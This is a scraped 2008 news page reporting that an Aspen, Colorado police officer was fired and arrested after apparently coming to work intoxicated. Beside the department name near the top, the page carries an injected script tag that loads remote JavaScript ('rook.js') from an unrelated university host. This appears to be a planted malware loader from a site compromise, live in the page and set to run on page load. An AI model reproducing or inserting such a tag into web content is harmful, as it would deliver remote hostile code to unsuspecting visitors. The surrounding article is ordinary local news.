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NEWS > 30 August 2008

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Aspen Police Department, CO<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Aspen Daily News - Aspen,CO,US
30 August 2008
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Aspen Police Department, CO

Aspen PD officer fired

The Aspen Police Department fired an 18-year veteran of its force Friday after another officer suspected he had been under the influence of alcohol on the job. A breath test allegedly confirmed it.


Jim Crowley, a patrol officer and former detective, was arrested for suspicion of driving while ability impaired (DWAI) and prohibited use of a weapon, both of which are misdemeanor charges, at 9:45 a.m. Thursday — just a little over two hours after he had reported to duty at the police station.


“It’s my responsibility to keep people safe, and to have an intoxicated officer come to work in uniform and drive a police car is not acceptable,” Aspen Police Chief Richard Pryor said.


Crowley could not be reached for comment.


Crowley is suspected of driving to work in his own vehicle, although the chief noted that he is not aware of anyone who actually saw him driving. Crowley lives on Water Place near Aspen Valley Hospital, not too far from downtown.


Crowley arrived at work at about 7:30 a.m. He was wearing his uniform and had a holstered gun.


“We happened to be in small room together having a conversation with one of his supervisors and I smelled what I believed to be alcohol,” said Aspen Assistant Police Chief Bill Linn, who is also the department’s spokesman. “We excused ourselves from Jim’s presence and I asked his supervisor what he had noticed. He was sitting next to a fan blowing in the room and said he didn’t notice anything. I said, ‘Well, we need to conduct a little further investigation.’”


Linn informed Aspen Police Chief Richard Pryor, who said he elected to bring in the Snowmass Village Police Department to ensure the investigation remained impartial. Pryor said there is a two-hour window to obtain evidence in alcohol-related cases like this one and he had to make decisions fast.


“I felt I had to move as quickly as possible to preserve the integrity of any possible criminal issues. That’s why I called Snowmass," Pryor said.


Crowley submitted to a Breathalyzer test, which reportedly showed his blood-alcohol content was just over .06 percent. Snowmass Village Police Sgt. Brian Olson placed Crowley under arrest at about 9:45 a.m. and took him to the Pitkin County Jail, where he was later released.


It is unclear whether Crowley, who is in his early 40s, was drinking while on the job or if he might have shown up to work hungover.


“There’s a pretty big difference between the intentional act of consuming alcohol before work and the unintentional act of having drank before and coming to work when perhaps you may have been carrying alcohol in your system,” Linn said. “I wasn’t party to what was going on in his life but I know that Jim is an honorable, very good guy. I don’t believe this was an intentional act.”


Needless to say, the past two days have been extremely difficult ones for the Aspen Police Department.


“It is an incredibly painful experience for a bunch of people who are perceived as tough guys. There have been an awful lot of tears flowing around here there’s no way to feel good about it. The fact is Jim is someone I’ve worked with for the 15 years of my career here. I respect him and think very highly of him. I am so sad to have any role in this at all,” Linn said. “Ultimately we’re held to a very high standard as police officers. We’re not above the laws that we enforce. He’s held numerous positions in the department, investigator positions of very high responsibility because he was been a very good police officer in his career.”


Crowley has no other criminal history. It is unclear whether he has been suspected of being under the influence of alcohol at work in the past. Pryor said he was unaware of any prior issues while Linn said there has “never been any other incident like this that we felt we could have acted upon.”

Pryor, who took over as police chief earlier this year after his predecessor resigned amid accusations of sexual harassment, said terminating Crowley was a difficult decision that he considered for two days. Building trust between Aspen police and the community has been the theme of Pryor’s administration.

“I want to apologize to the community for another incident like this cropping up at the police department,” the chief said. “It’s an incredibly difficult situation. I feel like things are going really well to date and part of me feels like we’ve let people down. I feel really sorry about that and I will do everything I can to make sure this sort of incident doesn’t happen again in the future.”


Other troubles the department has suffered through in recent years include an officer who was fired for using a Taser on an elderly woman who was never charged with a crime, and its assistance with a Drug Enforcement Agency raid on downtown restaurants that divided many in the community.

 

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